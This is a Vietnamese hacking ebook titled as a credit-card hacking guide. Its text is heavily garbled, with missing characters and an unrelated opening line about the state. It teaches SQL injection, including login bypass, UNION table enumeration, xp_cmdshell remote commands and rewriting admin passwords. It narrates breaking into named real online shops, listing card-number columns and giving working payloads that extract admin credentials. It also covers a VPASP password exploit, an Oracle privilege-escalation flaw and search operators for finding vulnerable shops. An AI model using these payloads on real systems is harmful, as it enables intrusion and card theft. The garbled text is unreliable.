Câu 1: Phân tích nguồn gốc, bản chất, chức năng của nhà nước Trả lời : + nguồn gốc của nhà nước: theo quan điểm học thuyết phi Mác Theo quan điểm thần học : thượng đế là người sáng tạo ra nhà nước quyền lực của nhà nước là vĩnh cửu và bất biến.
Author: Hieupc Publisher: TheGioiEbook® Title: Ebook Hacking Credit Card Version (EHCC V3) Language: Vietnamese Contact : hieupc@gmail.com Y!M: hieuitpc Gi i thi u v SQL Injection T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH Tác gi : Lê ình Duy SQL Injection gì? Khi tri n khai ng d ng web Internet, nhi u ng i v n ngh r ng vi c đ m b o an toàn, b o m t nh m gi m thi u t i đa kh n ng b t n công t tin t c ch đ n thu n t p trung vào v n đ nh ch n h u hành, h qu n tr c s d li u, webserver s ch y ng d ng, mà quên m t r ng c b n thân ng d ng ch y c ng ti m n m t l h ng b o m t r t l n M t s l h ng SQL injection T i Vi t Nam, qua th i kì qu n tr website l vi c quét virus, c p nh t b n vá l i t ph n m m h th ng, nh ng vi c ch m sóc l i c a ng d ng l i r t đ c quan tâm ó lí t i th i gian v a qua, không website t i Vi t Nam b t n công đa s đ u l i SQL injection [1] V y SQL injection ? SQL injection m t k thu t cho phép nh ng k t n công l i d ng l h ng vi c ki m tra d li u nh p ng d ng web thông báo l i c a h qu n tr c s d li u đ "tiêm vào" (inject) thi hành câu l nh SQL b t h p pháp (không đ c ng i phát tri n ng d ng l ng tr c) H u qu c a r t tai h i cho phép nh ng k t n công có th th c hi n thao tác xóa, hi u ch nh, … có toàn quy n c s d li u c a ng d ng, th m chí server mà ng d ng ch y L i th ng x y ng d ng web có d li u đ c qu n lí b ng h qu n tr c s d li u nh SQL Server, MySQL, Oracle, DB2, Sysbase Các d ng t n công b ng SQL Injection Có b n d ng thông th ng bao g m: v t qua ki m tra lúc đ ng nh p (authorization bypass), s d ng câu l n SELECT, s d ng câu l nh INSERT, s d ng stored-procedures [2], [3] 2.1 D ng t n công v t qua ki m tra đ ng nh p V i d ng t n công này, tin t c có th d dàng v t qua trang đ ng nh p nh vào l i dùng câu l nh SQL thao tác c s d li u c a ng d ng web Xét m t ví d n hình, thông th ng đ cho phép ng i dùng truy c p vào trang web đ c b o m t, h th ng th ng xây d ng trang đ ng nh p đ yêu c u ng i dùng nh p thông tin v tên đ ng nh p m t kh u Sau ng i dùng nh p thông tin vào, h th ng s ki m tra tên đ ng nh p m t kh u có h p l hay không đ quy t đ nh cho phép hay t ch i th c hi n ti p Trong tr ng h p này, ng i ta có th dùng hai trang, m t trang HTML đ hi n th form nh p li u m t trang ASP dùng đ x lí thông tin nh p t phía ng i dùng Ví d : login.htm Username: Password: execlogin.asp Tho t nhìn, đo n mã trang execlogin.asp d ng nh không ch a b t c m t l h ng v an toàn Ng i dùng không th đ ng nh p mà tên đ ng nh p m t kh u h p l Tuy nhiên, đo n mã th c s không an toàn ti n đ cho m t l i SQL injection c bi t, ch s h n m ch d li u nh p vào t ng i dùng đ c dùng đ xây d ng tr c ti p câu l nh SQL Chính u cho phép nh ng k t n công có th u n câu truy v n s đ c th c hi n Ví d ,n u ng i dùng nh p chu i sau vào c ô nh p li u username/password c a trang login.htm là: ' OR ' ' = ' ' Lúc này, câu truy v n s đ c g i th c hi n là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy v n h p l s tr v t t c b n ghi c a T_USERS đo n mã ti p theo x lí ng i dùng đ ng nh p b t h p pháp nh ng i dùng đ ng nh p h p l 2.2 D ng t n công s d ng câu l nh SELECT D ng t n công ph c t p h n th c hi n đ c ki u t n công này, k t n công ph i có kh n ng hi u l i d ng s h thông báo l i t h th ng đ dò tìm m y u kh i đ u cho vi c t n công Xét m t ví d r t th ng g p website v tin t c Thông th ng, s có m t trang nh n ID c a tin c n hi n th r i sau truy v n n i dung c a tin có ID Ví d : http://www.myhost.com/shownews.asp?ID=123 Mã ngu n cho ch c n ng th ng đ c vi t đ n gi n theo d ng Trong tình hu ng thông th ng, đo n mã hi n th n i dung c a tin có ID trùng v i ID ch đ nh h u nh không th y có l i Tuy nhiên, gi ng nh ví d đ ng nh p tr c, đo n mã đ l s h cho m t l i SQL injection khác K t n công có th thay th m t ID h p l b ng cách gán ID cho m t giá tr khác, t đó, kh i đ u cho m t cu c t n công b t h p pháp, ví d nh : OR 1=1 (ngh a là, http://www.myhost.com/shownews.asp?ID=0 or 1=1) Câu truy v n SQL lúc s tr v t t c article t b ng d li u s th c hi n câu l nh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 M t tr ng h p khác, ví d nh trang tìm ki m Trang cho phép ng thông tin tìm ki m nh H , Tên, … o n mã th ng g p là: i dùng nh p vào T ng t nh trên, tin t c có th l i d ng s h câu truy v n SQL đ nh p vào tr tên tác gi b ng chu i giá tr : ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) ng Lúc này, câu truy v n đ u không thành công, ch ng trình s th c hi n thêm l nh ti p theo sau t khóa UNION n a T t nhiên ví d nói trên, d ng nh nguy hi m, nh ng th t ng t ng k t n công có th xóa toàn b c s d li u b ng cách chèn vào đo n l nh nguy hi m nh l nh DROP TABLE Ví d nh : ' DROP TABLE T_AUTHORS Ch c b n s th c m c bi t đ c ng d ng web b l i d ng đ c R t đ n gi n, nh p vào chu i (*) nh trên, n u h th ng báo l i v cú pháp d ng: Invalid object name “OtherTable”; ta có th bi t ch c h th ng th c hi n câu SELECT sau t khóa UNION, nh v y m i có th tr v l i mà ta c tình t o câu l nh SELECT C ng s có th c m c làm th có th bi t đ c tên c a b ng d li u mà th c hi n thao tác phá ho i ng d ng web b l i SQL injection C ng r t đ n gi n, b i SQL Server, có hai đ i t ng sysobjects syscolumns cho phép li t kê t t c tên b ng c t có h th ng Ta ch c n ch nh l i câu l nh SELECT, ví d nh : ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' có th li t kê đ c tên t t c b ng d li u 2.3 D ng t n công s d ng câu l nh INSERT Thông th ng ng d ng web cho phép ng i dùng đ ng kí m t tài kho n đ tham gia Ch c n ng không th thi u sau đ ng kí thành công, ng i dùng có th xem hi u ch nh thông tin c a SQL injection có th đ c dùng h th ng không ki m tra tính h p l c a thông tin nh p vào Ví d , m t câu l nh INSERT có th có cú pháp d ng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') N u đo n mã xây d ng câu l nh SQL có d ng : Thì ch c ch n s b l i SQL injection, b i n u ta nh p vào tr ng th nh t ví d nh : ' + (SELECT TOP FieldName FROM TableName) + ' Lúc câu truy v n s là: INSERT INTO TableName VALUES(' ' + (SELECT TOP FieldName FROM TableName) + ' ', 'abc', 'def') Khi đó, lúc th c hi n l nh xem thông tin, xem nh b n yêu c u th c hi n thêm m t l nh n a là: SELECT TOP FieldName FROM TableName 2.4 D ng t n công s d ng stored-procedures Vi c t n công b ng stored-procedures s gây tác h i r t l n n u ng d ng đ c th c thi v i quy n qu n tr h th ng 'sa' Ví d , n u ta thay đo n mã tiêm vào d ng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: ' Lúc phá h th ng s th c hi n l nh li t kê th m c đ a C:\ cài đ t server Vi c ho i ki u tu thu c vào câu l nh đ ng sau cmd.exe Cách phòng tránh Nh v y, có th th y l i SQL injection khai thác nh ng b t c n c a l p trình viên phát tri n ng d ng web x lí d li u nh p vào đ xây d ng câu l nh SQL Tác h i t l i SQL injection tùy thu c vào môi tr ng cách c u hình h th ng N u ng d ng s d ng quy n dbo (quy n c a ng i s h u c s d li u - owner) thao tác d li u, có th xóa toàn b b ng d li u, t o b ng d li u m i, … N u ng d ng s d ng quy n sa (quy n qu n tr h th ng), có th u n toàn b h qu n tr c s d li u v i quy n h n r ng l n nh v y có th t o tài kho n ng i dùng b t h p pháp đ u n h th ng c a b n phòng tránh, ta có th th c hi n hai m c: 3.1 Ki m soát ch t ch d li u nh p vào phòng tránh nguy c có th x y ra, b o v câu l nh SQL b ng cách ki m soát ch t ch t t c d li u nh p nh n đ c t đ i t ng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables) Ví d , có th gi i h n chi u dài c a chu i nh p li u, ho c xây d ng hàm EscapeQuotes đ thay th d u nháy đ n b ng d u nháy đ n nh : Trong tr ng h p d li u nh p vào s , l i xu t phát t vi c thay th m t giá tr đ c tiên đoán d li u s b ng chu i ch a câu l nh SQL b t h p pháp tránh u này, đ n gi n ki m tra d li u có ki u hay không b ng hàm IsNumeric() Ngoài có th xây d ng hàm lo i b m t s kí t t khóa nguy hi m nh : ;, , select, insert, xp_, … kh i chu i d li u nh p t phía ng i dùng đ h n 3.2 Thi t l p c u hình an toàn cho h qu n tr c s d li u C n có c ch ki m soát ch t ch gi i h n quy n x lí d li u đ n tài kho n ng i dùng mà ng d ng web s d ng Các ng d ng thông th ng nên tránh dùng đ n quy n nh dbo hay sa Quy n b h n ch , thi t h i Ngoài đ tránh nguy c t SQL Injection attack, nên ý lo i b b t kì thông tin k thu t ch a thông p chuy n xu ng cho ng i dùng ng d ng có l i Các thông báo l i thông th ng ti t l chi ti t k thu t có th cho phép k t n công bi t đ c m y u c a h th ng S u t m Internet t t vi t nguyên thu "SQL đ c d ch s a đ i Injection Walkthrough" c a http://www.xfocus.net/ SQL Injection gì? SQL Injection m t nh ng ki u hack web d n tr nên ph bi n hi n B ng cách inject mã SQL query/command vào input tr c chuy n cho ng d ng web x lí, b n có th login mà không c n username password, remote execution, dump data l y root c a SQL server Công c dùng đ t n công m t trình t web b t kì, ch ng h n nh Internet Explorer, Netscape, Lynx, Tìm ki m m c tiêu Có th tìm trang web cho phép submit d li u b t kì m t trình tìm ki m m ng, ch ng h n nh trang login, search, feedback, Ví d : http://yoursite.com/index.asp?id=10 M t s trang web chuy n tham s qua field n, ph i xem mã HTML m i th y rõ Ví d nh d i Ki m tra ch y u c a trang web Th submit field username, password ho c field id, b ng hi' or 1=1-• • • Login: hi' or 1=1-Password: hi' or 1=1-http://yoursite.com/index.asp?id=hi' or 1=1 N u site chuy n tham s qua field n, download source HTML, l u đ a c ng thay đ i l i URL cho phù h p Ví d : N u thành công, có th login vào mà không c n ph i bi t username password T i ' or 1=1 có th v nh p? t qua ph n ki m tra đ ng Gi s nh có m t trang ASP liên k t đ n m t ASP trang khác v i URL nh sau: http://yoursite.com/index.asp?category=food Trong URL trên, bi n 'category' đ nh sau (đây ch ví d thôi): c gán giá tr 'food' Mã ASP c a trang có th v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat s ch a giá tr c a bi n request("category") 'food' câu l nh SQL ti p theo s là: SELECT * FROM product WHERE PCategory='food' Dòng query s tr v m t t p resultset ch a m t ho c nhi u dòng phù h p v i u ki n WHERE PCategory='food' N u thay đ i URL thành http://yoursite.com/index.asp?category=food' or 1=1 , bi n v_cat s ch a giá tr "food' or 1=1 " dòng l nh SQL query s là: SELECT * FROM product WHERE PCategory='food' or 1=1 ' Dòng query s select m i th b ng product b t ch p giá tr c a tr ng PCategory có b ng 'food' hay không Hai d u g ch ngang ( ) ch cho MS SQL server bi t h t dòng query, m i th l i sau " " s b b qua i v i MySQL, thay " " thành "#" Ngoài ra, c ng có th th cách khác b ng cách submit ' or 'a'='a Dòng SQL query bây gi s là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' M t s lo i d li u khác mà c ng nên th submit đ bi t xem trang web có g p l i hay không: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a Thi hành l nh t xa b ng SQL Injection N u cài đ t v i ch đ m c đ nh mà u ch nh gì, MS SQL Server s ch y m c SYSTEM, t ng đ ng v i m c truy c p Administrator Windows Có th dùng store procedure xp_cmdshell CSDL master đ thi hành l nh t xa: '; exec master xp_cmdshell 'ping 10.10.1.2' Hãy th dùng d u nháy đôi (") n u d u nháy đ n (') không làm vi c D u ch m ph y (s k t thúc dòng SQL query hi n t i cho phép thi hành m t SQL command m i ki m tra xem l nh có đ c thi hành hay không, có th listen ICMP packet t 10.10.1.2 b ng tcpdump nh sau: #tcpdump icmp N u nh n đ c ping request t 10.10.1.2 ngh a l nh đ c thi hành Nh n output c a SQL query Có th dùng sp_makewebtask đ ghi output c a SQL query m t file HTML '; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Chú ý: folder "share" ph i đ c share cho Everyone tr c Nh n d li u qua 'database using ODBC error message' Các thông báo l i c a MS SQL Server th ng đ a cho b n nh ng thông tin quan tr ng L y ví d http://yoursite.com/index.asp?id=10, bây gi th h p nh t integer '10' v i m t string khác l y t CSDL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES B ng INFORMATION_SCHEMA.TABLES c a h th ng SQL Server ch a thông tin v t t c b ng (table) có server Tr ng TABLE_NAME ch a tên c a m i b ng CSDL Chúng ta ch n b i bi t r ng t n t i Query c a là: SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Dòng query s tr v tên c a b ng đ u tiên CSDL Và ngh a bây gi ta c ng có th login vào v i username 'trinity' password '31173' 11 Thay đ i d li u (Update/Insert) c a CSDL Khi có tên c a t t c column table, có th s d ng statement UPDATE ho c INSERT đ s a đ i/t o m i m t record vào table thay đ i password c a "neo", có th làm nh sau: http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo' Ho c n u b n mu n m t record m i vào table: http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA') Và bây gi có th login vào v i username "neo2" password "newpas5" 12 Ng n ch n SQL Injection Hãy lo i b kí t meta nh '"/\; kí t extend nh NULL, CR, LF, string nh n đ c t : • • • input ng i dùng đ trình tham s t URL giá tr t cookie i v i giá tr numeric, chuy n sang integer tr ISNUMERIC đ ch c ch n m t s integer c query SQL, ho c dùng Thay đ i "Startup and run SQL Server" dùng m c low privilege user tab SQL Server Security Xóa stored procedure database master mà không dùng nh : • • • • xp_cmdshell xp_startmail xp_sendmail sp_makewebtask 13 Ng n ch n SQL Injection ASP.NET Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 bao quát đ ph ng pháp, nh ng ASP.NET có cách ng n ch n đ n gi n s d ng Parameters làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng câu l nh SQL tr c ti p Khi NET s t đ ng validate ki u d li u, n i dung d li u tr c th c hi n câu l nh SQL Ngoài ra, c ng c n ki m soát t t thông báo l i Và m c đ nh ASP.NET thông báo l i s không đ c thông báo chi ti t không ch y localhost Các t khóa SQL Ngu n: http://vi.wikipedia.org/w T khóa SQL chia thành nhi u nhóm: L yd li u Thao tác s d ng nhi u nh t m t c s d li u d a giao d ch thao tác l y d li u • SELECT đ c s d ng đ l y d li u t m t ho c nhi u b ng c s d li u, SELECT l nh th ng dùng nh t c a ngôn ng s a đ i d li u (t m d ch) (ti ng Anh: Data Manipulation Language - DML) Trong vi c t o câu truy v n SELECT, ng i s d ng ph i đ a mô t cho nh ng d li u mu n l y ch không ch nh ng hành đ ng v t lý b t bu c ph i th c hi n đ l y k t qu H th ng c s d li u, hay xác h n b t i u hóa câu truy v n s d ch t câu truy v n sang k ho ch truy v n t i u • o Nh ng t khóa liên quan t i SELECT bao g m: ̇ FROM dùng đ ch đ nh d li u s đ c l y t nh ng b ng nào, b ng quan h v i nh th ̇ WHERE dùng đ xác đ nh nh ng b n ghi s đ c l y ra, ho c áp d ng v i GROUP BY ̇ GROUP BY dùng đ k t h p b n ghi có nh ng giá tr liên quan v i thành ph n t c a m t t p h p nh h n b n ghi ̇ HAVING dùng đ xác đ nh nh ng b n ghi nào, k t qu t t khóa GROUP BY, s đ c l y ̇ ORDER BY dùng đ xác đ nh d li u l y s đ c s p x p theo nh ng c t S a đ i d li u Ngôn ng s a đ i d li u (Data Manipulation Language - DML), môt ph n nh c a ngôn ng , có nh ng thành ph n tiêu chu n dùng đ thêm, c p nh t xóa d li u delete data • • • • • INSERT dùng đ thêm d li u vào m t b ng t n t i UPDATE dùng đ thay đ i giá tr c a m t t p h p b n ghi m t b ng MERGE dùng đ k t h p d li u c a nhi u b ng Nó đ c dùng nh vi c k t h p gi a hai ph n t INSERT UPDATE DELETE xóa nh ng b n ghi t n t i m t b ng TRUNCATE Xóa toàn b d li u m t b ng (không ph i tiêu chu n, nh ng m t l nh SQL ph bi n) Giao d ch d li u Giao d ch, n u có, dùng đ bao b c thao tác s a đ i d li u • • • BEGIN WORK (ho c START TRANSACTION, tùy theo ngôn ng SQL khác nhau) đ c s d ng đ đánh d u vi c b t đ u m t giao d ch d li u (giao d ch d li u có k t thúc hoàn toàn hay không) COMMIT dùng đ l u l i nh ng thay đ i giao d ch ROLLBACK dùng đ quay l i th i m s d ng l nh COMMIT cu i Exploit Ebox Shopping Cart (SQL Injection) (Có phiên b n đ c trình bày b ng hình nh) Tác gi : hieupc Có th nói đáng ý nh t Ebook này, l i v a mang tính c n v a mang tính t c ng v i s tìm tòi, may m n, c kinh nghi m Gi i thi u s v Ebox: Ebox m t shop s d ng MS SQL Server ASP, đ gi ng v i Shopping Cart khác: VPASP, X-Cart… c xem 11 h 00: Tình c hieupc đ c m t ng i b n nh exploit th shop b m c l i nghiêm tr ng SQL Injection Và lúc đ u có ph n h i khó kh n ch a n m rõ đ c shop c u trúc Database Table nh th 11 h 15: Sau m t h i search google , hieupc tìm đ c nhi u trang c a lo i Shop Ebox này, m c tiêu c a hieupc exploit shop : http://www.cookes.co.uk , nh ng không bi t table c a th đành ph i tìm m t shop Ebox t ng t khác nh ng có th exploit table hieupc tìm đ c shop : http://www.fotosense.co.uk 11 h 45: Vi c exploit table column di n lâu (Xem EHCC V1 V2), cu i c ng l y đ c nh ng thông tin c n thíêt cho m c tiêu ban đ u, đem qua exploit shop http://www.cookes.co.uk 'tblBundle','Admin','affiliates','Commission','dtproperties','errorlog','Hits','sysconstraints',' syssegments','tblAdminUser','tblAdverts','tblCategory','tblCheckout','tblCheckoutEbox',' tblConfirmation','tblHelp','tblLayout','tblManufacturer','tblMeta','tblNews','tblNewsLetter' ,'tblOrder','tblOrder_Temp','tblOrders','tblOrderStatus','tblPages','tblPostage','tblPost ageChoice','tblProducts','tblProducts_Temp','tblSatus','tblStandardText','tblSubCat','tblSu bMan','tblTime','tblTop10','tblUsers','wapman' c bi t nên ý đ n table đ có th không quan tâm c tô đ m màu đ trên, m y table khác ta 12 h 00: Mu n cho vi c exploit đ c nhanh chóng hieupc ch c n l y username password Admin c a Shop Ebox đ Còn b n n u mu n l y t ng thông tin riêng có th exploit table : 'tblUsers' 'tblOrders' … đ l y đ c thông tin c n 'tblUsers' : 'userID','userDate','userUserName','userPassword','userRealName','userSurname','userStat ementStreet1','userStatementStreet2','userStatementTown','userStatementCounty','userSta tementPostcode','userDeliveryAddress','userDeliveryPostcode','userTelephone','userFax',' userMobile','userNewsletterSubscribe','orderBundleDetails','sageimported','usercode' 'tblOrders': 'ID','orderID','orderUserID','orderCardType','orderCardNumber','orderCardNameonCard',' orderCardStartMonth','orderCardStartYear','orderCardExpiryMonth','orderCardExpiryYe ar','orderIssueNumber','orderSecurityCode','orderDate','orderComments','orderStatus' 12 h 15: Ban đ u hieupc c ng table: 'Admin' c n đ c khai thác đ l y thông tin c a username password nh ng thông tin không ph i c a Admin, hieupc c ng th login nh ng th t b i ('ID','Password','URL','Email','Fixedrate','Percentrate','Percentage','Minimum') 12 h 30: Sau hieupc chuy n sang exploit table : 'tblAdminUser' , thu đ c c ng nhi u comlun khác, ch c ch n s ch a Username Password c a Admin, hieupc th login thành công nh mong mu n 'tblAdminUser' 'userID','adminUsername','adminPassword','adminEmail','adminHide' 12 h 45: Cu i hieupc c ng có đ c username password đ login vào Administration Shop c a http://www.cookes.co.uk, ch b ng m i tiêm đ n gi n mà hi u qu , ho c ta ch c n dùng m t m i tiêm mà có t i lo i thu c ('adminUsername' , 'adminPassword') nhiên không khuy n khích dùng lo i l y Username: %20union%20%20select%201,2,adminUsername,4,5,6,7,8,9,10,11,12,13%20from%20tb lAdminUser%22having%201=1 sp_password l y Password: %20union%20%20select%201,2,adminPassword,4,5,6,7,8,9,10,11,12,13%20from%20tbl AdminUser%22having%201=1 sp_password Vi c tìm link c a shop đ n gi n: http://www.cookes.co.uk/admin h 00: Ngoài có nhi u cách khác đ l y đ c thông tin ta c n nh Exploit: Update Email, Insert User… đ th c hi n nh ng câu l nh b n ph i bi t làm c n nh ng (Xem h ng d n s d ng nh ng câu l nh SQL ph n c a Ebook này) h 15: bi t đ c câu l nh vi t này, b n c n xem l i Ebook Hacking Credit Card version version Trong vi t hieupc h n ch vi c đ a câu l nh truy v n hieupc không mu n l p l p l i nh ng th đ c nh c nh c l i nhi u l n Ebook Hacking Credit Card version 1, version c nh ng di n đàn tin h c khác Chúc vui h 30: L u ý: Nh v y vi c exploit Shop Ebox di n lâu có ph n h i ph c t p Tuy nhiên hieupc ch d ng l i vi c login không view b t c m t orders c a shop c Hy v ng b n s hi u đ c u nói Nó ch góp ph n c ng c thêm ki n th c c a b n đ ng nên qu y phá hay th ng m i hoá nh ng th mà b n hack đ c hay exploit mà có Và c ng đ ng mãn nguy n nh ng có, c g ng c g ng Và đ ng qúa ham mê vi tính, cho dù s thích c a b n, dành th i gian cho gia đình b n bè, cu c s ng r t vui ch đón b n, đ ng ch t già ch t mòn bên máy tính c a b n Hãy s ng v i ý ngh a c a cu c s ng C m Thêm: Exploit Pass VPASP h 45: u tiên ph i nói u hieupc đ c b n h i nhi u nh t, hieupc đ u tr l i : “không bi t” hay “các b n t tìm tòi, tìm hi u, nghiên c u th xem…”, th c ch t r t d n u nh b n ch u nghiên c u nh Và m t u n a, đáng l hieupc đ a vi t vào “Ebook Hacking Credit Card Version 2”, nh ng th y b n không ch u khó tí nào, ch toàn ph thu c hieupc th y nãn l m, ch đ a có giá tr khác đ làm phong phú thêm n i dung c a “Ebook Hacking Credit Card Version 2” h 50: ây câu l nh b n c n đ Exploit Pass VPASP, gi ng nh l y username password, ch có khác chút Khi có đ c username password b n thay table đ c tô màu đ vào có password number two: union select fieldname='xadminpage' ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue,2 8,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from configuration' Cái không c n gi i thích thêm, b i gi ng nh cách exploit username password Ngoài b n có th th b ng câu l nh truy v n này: shopexd.asp?id=1%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalu e,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuratio n%20where%%20fieldname='xadminpage' Các b n th y ch a th t d , ch t i b n không ch u nghiên c u, “hãy nghiên c u u b n mu n bi t th t k hi u th u tr c h i, s r t t t cho b n” Hieupc nói có nói đ c lòng tr c, m t lòng sau mong b n hi u L i SQL Injection Oracle có th nâng quy n Tài kho n Chuyên viên phân tích : Ngô B o Di p Thông tin chung N u k t n công có m t tài kho n ng i dùng bình th ng Oracle, h n có th th c hi n m t s câu l nh đánh vào m y u c a Oracle hai phiên b n 8i 9i, nh m m c đích nâng quy n truy nh p tài kho n lên m c qu n tr T đây, h n có toàn quy n v i h qu n tr c s d li u Ph n m m b m y u Ngày phát hi n 12/2005 • • T h T h tc tc phiên b n Oracle Database 8i m i u hành phiên b n Oracle Database 9i m i u hành M c đ nguy hi m Nguy Hi m Mô t k thu t Trong C s d li u Oracle, ng i dùng đ c chia thành nhóm quy n : nhóm Privileged nhóm Object Ng i dùng thu c nhóm Privileged có toàn quy n v i CSDL nh t o User m i, thay đ i quy n User khác, thay đ i d li u, thay đ i thông s c u hình CSDL, thay đ i file log, xem tình tr ng ti n trình c a CSDL v.v Chú ý r ng m t Oracle Database Server có th có nhi u CSDL SYSDBA có toàn quy n đ i v i t t c CSDL User thu c nhóm Object ch có nh ng quy n nh t đ nh (do Privileged User c p) đ i v i CSDL Nh ng User thu c nhóm Privileged g i có quy n SYSDBA Nhóm Object bao g m nh ng Account h n ch , quy n SYSDBA CTXSYS.DRILOAD m t package nh CTXSYS Schema Trong package có t n t i hàm th t c b l i SQL Injection Khai thác l h ng m t account bình th ng có th tr thành m t account v i quy n SYSDBA qu n tr Database server L i SQL Injection CTXSYS.DRILOAD có đ c m nh sau: • • B khai thác b i nh ng ng ch c n quy n bình th R t d khai thác i dùng có account truy nh p t i c s d li u Account ng, không c n quy n SYSDBA M c đ nh m i account đ u có quy n EXECUTE gói CTXSYS.DRILOAD Do m t account bình th ng ch c n đ ng nh p vào th c hi n m t câu l nh nguy hi m, l p t c tài kho n tr thành SYSDBA có toàn quy n đ i v i m i CSDL Oracle Database Server Khai thác l h ng Chúng ti n hành khai thác l h ng Máy ch có cài đ t Oracle Database 8i 9i K thu t viên c a chúng tôi, đ ng nh p Máy ch v i tài kho n ng i dùng bình th ng có m c đ nh cài Oracle Sau th c hi n câu l nh đánh vào m y u c a hai phiên b n trên, hình xu t hi n thông báo : ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at "CTXSYS.DRILOAD", line 42 ORA-01003: no statement parsed ORA-06512: at line Tuy nhiên, tài kho n đ d li u c nâng quy n lên SYSDBA có toàn quy n v i Máy ch c s Gi i pháp phòng ch ng Oracle vá l i b n vá l i Critical Patch Update tháng (CPU October 2005) Tuy nhiên ch có t ch c, cá nhân mua s n ph m c a Oracle m i có th download đ c b n vá l i download, vào trang http://www.metalink.oracle.com/ , sau vào tab Patches Ng i dùng download b n patch theo h ng d n c a tài li u Metalink có ID 281189.1 Ngoài ra, đ a l i khuyên v i qu n tr Oracle Database Server, b n có th t b t l h ng b ng cách b quy n Execute CTXSYS.DRILOAD C th b c nh sau: • • Vào SQL*plus login v i tài kho n qu n tr Th c hi n l nh sau: REVOKE EXECUTE ON CTXSYS.DRILOAD FROM PUBLIC FORCE; Nh ng cú pháp tìm ki m nâng cao v i Google Giúp cho vi c tìm shop l i đ t hi u qua cao D i th o lu n v nh ng l nh đ c bi t c a Google s gi i thích t ng l nh m t cách ng n g n nói rõ đ c s d ng nh th đ tìm ki m thông tin [ intitle: ] Cú pháp “intitle:” giúp Google gi i h n k t qu tìm ki m v nh ng trang có ch a t tiêu đ Ví d , “intitle: login password” (không có ngo c kép) s cho k t qu nh ng link đ n nh ng trang có t "login" tiêu đ , t "password" n m trang T ng t , n u ta mu n truy v n nhi u h n m t t tiêu đ c a trang ta có th dùng “allintitle:” thay cho “intitle” đ có k t qu nh ng trang có ch a t t c nh ng t tiêu đ Ví d nh dùng “intitle: login intitle: password” c ng gi ng nh truy v n “allintitle: login password” [ inurl: ] Cú pháp “inurl:” gi i h n k t qu tìm ki m v nh ng đ a ch URL có ch a t khóa tìm ki m Ví d : “inurl: passwd” (không có ngo c kép) s cho k t qu nh ng link đ n nh ng trang có t "passwd" URL T ng t , n u ta mu n truy v n nhi u h n m t t URL ta có th dùng “allinurl:” thay cho “inurl” đ đ c k t qu nh ng URL ch a t t c nh ng t khóa tìm ki m.Ví d : “allinurl: etc/passwd“ s tìm ki m nh ng URL có ch a “etc” “passwd” Ký hi u g ch chéo (“/”) gi a t s b Google b qua [ site: ] Cú pháp “site:” gi i h n Google ch truy v n nh ng t khóa xác đ nh m t site ho c tên mi n riêng bi t Ví d : “exploits site:hackingspirits.com” (không có ngo c kép) s tìm ki m t khóa “exploits” nh ng trang hi n có t t c link c a tên mi n “hackingspirits.com” Không có kho ng tr ng gi a “site:” “tên mi n” [ filetype: ] Cú pháp “filetype:” gi i h n Google ch tìm ki m nh ng files internet có ph n m r ng riêng bi t (Ví d : doc, pdf hay ppt v.v ) Ví d : “filetype:doc site:gov confidential” (không có ngo c kép) s tìm ki m nh ng file có ph n m r ng “.doc” t t c nh ng tên mi n c a ph có ph n m r ng “.gov” ch a t “confidential”(bí m t) trang ho c file “.doc” Ví d K t qu s bao g m nh ng liên k t đ n t t c file v n b n bí site c a ph [ link: ] Cú pháp “link:” s li t kê nh ng trang web mà có liên k t đ n đ n nh ng trang web ch đ nh Ví d : chu i “link:www.securityfocus.com” s li t kê nh ng trang web có liên k t tr đ n trang ch SecurityFocus Chú ý kho ng tr ng gi a "link:" URL c a trang Web [ related: ] Cú pháp “related:” s li t kê trang Web "t ng t " v i trang Web ch đ nh Ví d : “related:www.securityfocus.com” s li t kê trang web t ng t v i trang ch Securityfocus Nh r ng kho ng tr ng gi a "related:" URL c a trang Web [ cache: ] Truy v n “cache:” s cho k t qu phiên b n c a trang Web mà mà Google l u l i Ví d : “cache:www.hackingspirits.com” s cho trang l u l i b i Google's Nh r ng kho ng tr ng gi a "cache:" URL c a trang web N u b n bao g m nh ng t khác truy v n, Google s m sáng nh ng t v n b n đ c l u l i Ví d : “cache:www.hackingspirits.com guest” s cho v n b n đ c l u l i có t "guest" đ c m sáng [ intext: ] Cú pháp “intext:” tìm ki m t m t website riêng bi t Nó ph t l liên k t ho c URL tiêu đ c a trang Ví d : “intext:exploits” (không có ngo c kép) s cho k t qu nh ng liên k t đ n nh ng trang web có t khóa tìm ki m "exploits" trang c a [ phonebook: ] “phonebook” tìm ki m thông tin v đ a ch đ ng ph M s n tho i Ví d : “phonebook:Lisa+CA” s li t kê t t c tên ng i có t “Lisa” tên “California (CA)” Cú pháp có th đ c s d ng nh m t công c t v i c a tin t c tr ng h p mu n tìm ki m thông tin cá nhân cho công vi c xã h i Truy v n site ho c server d b t n công s d 